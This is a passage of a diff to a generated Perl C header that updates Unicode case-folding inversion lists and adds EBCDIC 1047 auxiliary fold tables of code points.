+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C1,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
 	0x531,
 	0x557,
-	0x561,
+	0x587,
 	0x588,
 	0x10A0,
 	0x10C6,
@@ -1391,24 +4054,290 @@
 	0x10C8,
 	0x10CD,
 	0x10CE,
-	0x13A0,
-	0x13F6,
 	0x13F8,
 	0x13FE,
 	0x1C80,
+	0x1C81,
+	0x1C82,
+	0x1C83,
+	0x1C85,
+	0x1C86,
+	0x1C87,
+	0x1C88,
 	0x1C89,
-	0x1D00,
-	0x1DC0,
 	0x1E00,
-	0x1F16,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E96,
+	0x1E97,
+	0x1E98,
+	0x1E99,
+	0x1E9A,
+	0x1E9B,
+	0x1E9C,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
 	0x1F18,
 	0x1F1E,
-	0x1F20,
-	0x1F46,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
 	0x1F48,
 	0x1F4E,
 	0x1F50,
-	0x1F58,
+	0x1F51,
+	0x1F52,
+	0x1F53,
+	0x1F54,
+	0x1F55,
+	0x1F56,
+	0x1F57,
 	0x1F59,
 	0x1F5A,
 	0x1F5B,
@@ -1416,345 +4345,2875 @@
 	0x1F5D,
 	0x1F5E,
 	0x1F5F,
-	0x1F7E,
+	0x1F60,
+	0x1F68,
+	0x1F70,
 	0x1F80,
+	0x1F81,
+	0x1F82,
+	0x1F83,
+	0x1F84,
+	0x1F85,
+	0x1F86,
+	0x1F87,
+	0x1F88,
+	0x1F89,
+	0x1F8A,
+	0x1F8B,
+	0x1F8C,
+	0x1F8D,
+	0x1F8E,
+	0x1F8F,
+	0x1F90,
+	0x1F91,
+	0x1F92,
+	0x1F93,
+	0x1F94,
+	0x1F95,
+	0x1F96,
+	0x1F97,
+	0x1F98,
+	0x1F99,
+	0x1F9A,
+	0x1F9B,
+	0x1F9C,
+	0x1F9D,
+	0x1F9E,
+	0x1F9F,
+	0x1FA0,
+	0x1FA1,
+	0x1FA2,
+	0x1FA3,
+	0x1FA4,
+	0x1FA5,
+	0x1FA6,
+	0x1FA7,
+	0x1FA8,
+	0x1FA9,
+	0x1FAA,
+	0x1FAB,
+	0x1FAC,
+	0x1FAD,
+	0x1FAE,
+	0x1FAF,
+	0x1FB0,
+	0x1FB2,
+	0x1FB3,
+	0x1FB4,
 	0x1FB5,
 	0x1FB6,
+	0x1FB7,
+	0x1FB8,
+	0x1FBA,
+	0x1FBC,
 	0x1FBD,
 	0x1FBE,
 	0x1FBF,
 	0x1FC2,
+	0x1FC3,
+	0x1FC4,
 	0x1FC5,
 	0x1FC6,
+	0x1FC7,
+	0x1FC8,
+	0x1FCC,
 	0x1FCD,
-	0x1FD0,
+	0x1FD2,
+	0x1FD3,
 	0x1FD4,
 	0x1FD6,
+	0x1FD7,
+	0x1FD8,
+	0x1FDA,
 	0x1FDC,
-	0x1FE0,
+	0x1FE2,
+	0x1FE3,
+	0x1FE4,
+	0x1FE5,
+	0x1FE6,
+	0x1FE7,
+	0x1FE8,
+	0x1FEA,
+	0x1FEC,
 	0x1FED,
 	0x1FF2,
+	0x1FF3,
+	0x1FF4,
 	0x1FF5,
 	0x1FF6,
+	0x1FF7,
+	0x1FF8,
+	0x1FFA,
+	0x1FFC,
 	0x1FFD,
-	0x2071,
-	0x2072,
-	0x207F,
-	0x2080,
-	0x2090,
-	0x209D,
-	0x2102,
-	0x2103,
-	0x2107,
-	0x2108,
-	0x210A,
-	0x2114,
-	0x2115,
-	0x2116,
-	0x2119,
-	0x211E,
-	0x2124,
-	0x2125,
 	0x2126,
 	0x2127,
-	0x2128,
-	0x2129,
 	0x212A,
-	0x212E,
-	0x212F,
-	0x2135,
-	0x2139,
-	0x213A,
-	0x213C,
-	0x2140,
-	0x2145,
-	0x214A,
-	0x214E,
-	0x214F,
+	0x212B,
+	0x212C,
+	0x2132,
+	0x2133,
 	0x2160,
-	0x2180,
+	0x2170,
 	0x2183,
-	0x2185,
+	0x2184,
 	0x24B6,
-	0x24EA,
+	0x24D0,
 	0x2C00,
 	0x2C2F,
-	0x2C30,
-	0x2C5F,
 	0x2C60,
-	0x2CE5,
+	0x2C61,
+	0x2C62,
+	0x2C63,
+	0x2C64,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C6E,
+	0x2C6F,
+	0x2C70,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C80,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
 	0x2CEB,
-	0x2CEF,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
 	0x2CF2,
-	0x2CF4,
-	0x2D00,
-	0x2D26,
-	0x2D27,
-	0x2D28,
-	0x2D2D,
-	0x2D2E,
+	0x2CF3,
 	0xA640,
-	0xA66E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
 	0xA680,
-	0xA69E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
 	0xA722,
-	0xA788,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77E,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
 	0xA78B,
-	0xA78F,
+	0xA78C,
+	0xA78D,
+	0xA78E,
 	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AB,
+	0xA7AC,
+	0xA7AD,
+	0xA7AE,
 	0xA7AF,
 	0xA7B0,
-	0xA7B8,
-	0xA7F8,
-	0xA7FB,
-	0xAB30,
-	0xAB5B,
-	0xAB5C,
-	0xAB66,
+	0xA7B1,
+	0xA7B2,
+	0xA7B3,
+	0xA7B4,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
 	0xAB70,
 	0xABC0,
 	0xFB00,
+	0xFB01,
+	0xFB02,
+	0xFB03,
+	0xFB04,
+	0xFB05,
 	0xFB07,
 	0xFB13,
+	0xFB14,
+	0xFB15,
+	0xFB16,
+	0xFB17,
 	0xFB18,
 	0xFF21,
 	0xFF3B,
-	0xFF41,
-	0xFF5B,
 	0x10400,
-	0x10450,
+	0x10428,
 	0x104B0,
 	0x104D4,
-	0x104D8,
-	0x104FC,
 	0x10C80,
 	0x10CB3,
-	0x10CC0,
-	0x10CF3,
 	0x118A0,
-	0x118E0,
-	0x1D400,
-	0x1D455,
-	0x1D456,
-	0x1D49D,
-	0x1D49E,
-	0x1D4A0,
-	0x1D4A2,
-	0x1D4A3,
-	0x1D4A5,
-	0x1D4A7,
-	0x1D4A9,
-	0x1D4AD,
-	0x1D4AE,
-	0x1D4BA,
-	0x1D4BB,
-	0x1D4BC,
-	0x1D4BD,
-	0x1D4C4,
-	0x1D4C5,
-	0x1D506,
-	0x1D507,
-	0x1D50B,
-	0x1D50D,
-	0x1D515,
-	0x1D516,
-	0x1D51D,
-	0x1D51E,
-	0x1D53A,
-	0x1D53B,
-	0x1D53F,
-	0x1D540,
-	0x1D545,
-	0x1D546,
-	0x1D547,
-	0x1D54A,
-	0x1D551,
-	0x1D552,
-	0x1D6A6,
-	0x1D6A8,
-	0x1D6C1,
-	0x1D6C2,
-	0x1D6DB,
-	0x1D6DC,
-	0x1D6FB,
-	0x1D6FC,
-	0x1D715,
-	0x1D716,
-	0x1D735,
-	0x1D736,
-	0x1D74F,
-	0x1D750,
-	0x1D76F,
-	0x1D770,
-	0x1D789,
-	0x1D78A,
-	0x1D7A9,
-	0x1D7AA,
-	0x1D7C3,
-	0x1D7C4,
-	0x1D7CC,
+	0x118C0,
 	0x1E900,
-	0x1E944,
-	0x1F130,
-	0x1F14A,
-	0x1F150,
-	0x1F16A,
-	0x1F170,
-	0x1F18A
+	0x1E922
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+#   endif	/* EBCDIC 1047 */
 
-#if defined(PERL_IN_REGCOMP_C)
+#endif	/* defined(PERL_IN_UTF8_C) */
 
-static const UV NonL1_Perl_Non_Final_Folds_invlist[] = { /* for ASCII/Latin1 */
-	45,	/* Number of elements */
-	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
-		   1 if it starts at the element beyond 0 */
-	0x0,
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	CF_0 = 0,
+	CF_use_AUX_TABLE_1 = -1,
+	CF_use_AUX_TABLE_2 = -2,
+	CF_use_AUX_TABLE_3 = -3,
+	CF_use_AUX_TABLE_4 = -4,
+	CF_use_AUX_TABLE_5 = -5,
+	CF_use_AUX_TABLE_6 = -6,
+	CF_use_AUX_TABLE_7 = -7,
+	CF_use_AUX_TABLE_8 = -8,
+	CF_use_AUX_TABLE_9 = -9,
+	CF_use_AUX_TABLE_10 = -10,
+	CF_use_AUX_TABLE_11 = -11,
+	CF_use_AUX_TABLE_12 = -12,
+	CF_use_AUX_TABLE_13 = -13,
+	CF_use_AUX_TABLE_14 = -14,
+	CF_use_AUX_TABLE_15 = -15,
+	CF_use_AUX_TABLE_16 = -16,
+	CF_use_AUX_TABLE_17 = -17,
+	CF_use_AUX_TABLE_18 = -18,
+	CF_use_AUX_TABLE_19 = -19,
+	CF_use_AUX_TABLE_20 = -20,
+	CF_use_AUX_TABLE_21 = -21,
+	CF_use_AUX_TABLE_22 = -22,
+	CF_use_AUX_TABLE_23 = -23,
+	CF_use_AUX_TABLE_24 = -24,
+	CF_use_AUX_TABLE_25 = -25,
+	CF_use_AUX_TABLE_26 = -26,
+	CF_use_AUX_TABLE_27 = -27,
+	CF_use_AUX_TABLE_28 = -28,
+	CF_use_AUX_TABLE_29 = -29,
+	CF_use_AUX_TABLE_30 = -30,
+	CF_use_AUX_TABLE_31 = -31,
+	CF_use_AUX_TABLE_32 = -32,
+	CF_use_AUX_TABLE_33 = -33,
+	CF_use_AUX_TABLE_34 = -34,
+	CF_use_AUX_TABLE_35 = -35,
+	CF_use_AUX_TABLE_36 = -36,
+	CF_use_AUX_TABLE_37 = -37,
+	CF_use_AUX_TABLE_38 = -38,
+	CF_use_AUX_TABLE_39 = -39,
+	CF_use_AUX_TABLE_40 = -40,
+	CF_use_AUX_TABLE_41 = -41,
+	CF_use_AUX_TABLE_42 = -42,
+	CF_use_AUX_TABLE_43 = -43,
+	CF_use_AUX_TABLE_44 = -44,
+	CF_use_AUX_TABLE_45 = -45,
+	CF_use_AUX_TABLE_46 = -46,
+	CF_use_AUX_TABLE_47 = -47,
+	CF_use_AUX_TABLE_48 = -48,
+	CF_use_AUX_TABLE_49 = -49,
+	CF_use_AUX_TABLE_50 = -50,
+	CF_use_AUX_TABLE_51 = -51,
+	CF_use_AUX_TABLE_52 = -52,
+	CF_use_AUX_TABLE_53 = -53,
+	CF_use_AUX_TABLE_54 = -54,
+	CF_use_AUX_TABLE_55 = -55,
+	CF_use_AUX_TABLE_56 = -56,
+	CF_use_AUX_TABLE_57 = -57,
+	CF_use_AUX_TABLE_58 = -58,
+	CF_use_AUX_TABLE_59 = -59,
+	CF_use_AUX_TABLE_60 = -60,
+	CF_use_AUX_TABLE_61 = -61,
+	CF_use_AUX_TABLE_62 = -62,
+	CF_use_AUX_TABLE_63 = -63,
+	CF_use_AUX_TABLE_64 = -64,
+	CF_use_AUX_TABLE_65 = -65,
+	CF_use_AUX_TABLE_66 = -66,
+	CF_use_AUX_TABLE_67 = -67,
+	CF_use_AUX_TABLE_68 = -68,
+	CF_use_AUX_TABLE_69 = -69,
+	CF_use_AUX_TABLE_70 = -70,
+	CF_use_AUX_TABLE_71 = -71,
+	CF_use_AUX_TABLE_72 = -72,
+	CF_use_AUX_TABLE_73 = -73
+} CF_enum;
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+#define HAS_CF_AUX_TABLES
+
+static const unsigned int CF_AUX_TABLE_1[] = {
+	0xA2,
+	0xA2
+};
+
+static const unsigned int CF_AUX_TABLE_2[] = {
+	0x89,
+	0x307
+};
+
+static const unsigned int CF_AUX_TABLE_3[] = {
 	0x2BC,
-	0x2BD,
+	0x95
+};
+
+static const unsigned int CF_AUX_TABLE_4[] = {
+	0x91,
+	0x30C
+};
+
+static const unsigned int CF_AUX_TABLE_5[] = {
+	0x3B9,
 	0x308,
-	0x309,
+	0x301
+};
+
+static const unsigned int CF_AUX_TABLE_6[] = {
+	0x3C5,
+	0x308,
+	0x301
+};
+
+static const unsigned int CF_AUX_TABLE_7[] = {
+	0x565,
+	0x582
+};
+
+static const unsigned int CF_AUX_TABLE_8[] = {
+	0x88,
+	0x331
+};
+
+static const unsigned int CF_AUX_TABLE_9[] = {
+	0xA3,
+	0x308
+};
+
+static const unsigned int CF_AUX_TABLE_10[] = {
+	0xA6,
+	0x30A
+};
+
+static const unsigned int CF_AUX_TABLE_11[] = {
+	0xA8,
+	0x30A
+};
+
+static const unsigned int CF_AUX_TABLE_12[] = {
+	0x81,
+	0x2BE
+};
+
+static const unsigned int CF_AUX_TABLE_13[] = {
+	0x3C5,
+	0x313
+};
+
+static const unsigned int CF_AUX_TABLE_14[] = {
+	0x3C5,
 	0x313,
-	0x314,
-	0x342,
-	0x343,
+	0x300
+};
+
+static const unsigned int CF_AUX_TABLE_15[] = {
+	0x3C5,
+	0x313,
+	0x301
+};
+
+static const unsigned int CF_AUX_TABLE_16[] = {
+	0x3C5,
+	0x313,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_17[] = {
+	0x1F00,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_18[] = {
+	0x1F01,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_19[] = {
+	0x1F02,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_20[] = {
+	0x1F03,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_21[] = {
+	0x1F04,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_22[] = {
+	0x1F05,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_23[] = {
+	0x1F06,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_24[] = {
+	0x1F07,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_25[] = {
+	0x1F20,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_26[] = {
+	0x1F21,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_27[] = {
+	0x1F22,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_28[] = {
+	0x1F23,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_29[] = {
+	0x1F24,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_30[] = {
+	0x1F25,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_31[] = {
+	0x1F26,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_32[] = {
+	0x1F27,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_33[] = {
+	0x1F60,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_34[] = {
+	0x1F61,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_35[] = {
+	0x1F62,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_36[] = {
+	0x1F63,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_37[] = {
+	0x1F64,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_38[] = {
+	0x1F65,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_39[] = {
+	0x1F66,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_40[] = {
+	0x1F67,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_41[] = {
+	0x1F70,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_42[] = {
+	0x3B1,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_43[] = {
 	0x3AC,
-	0x3AD,
-	0x3AE,
-	0x3AF,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_44[] = {
 	0x3B1,
-	0x3B2,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_45[] = {
+	0x3B1,
+	0x342,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_46[] = {
+	0x1F74,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_47[] = {
 	0x3B7,
-	0x3B8,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_48[] = {
+	0x3AE,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_49[] = {
+	0x3B7,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_50[] = {
+	0x3B7,
+	0x342,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_51[] = {
 	0x3B9,
-	0x3BA,
+	0x308,
+	0x300
+};
+
+static const unsigned int CF_AUX_TABLE_52[] = {
+	0x3B9,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_53[] = {
+	0x3B9,
+	0x308,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_54[] = {
+	0x3C5,
+	0x308,
+	0x300
+};
+
+static const unsigned int CF_AUX_TABLE_55[] = {
 	0x3C1,
-	0x3C2,
+	0x313
+};
+
+static const unsigned int CF_AUX_TABLE_56[] = {
 	0x3C5,
-	0x3C6,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_57[] = {
+	0x3C5,
+	0x308,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_58[] = {
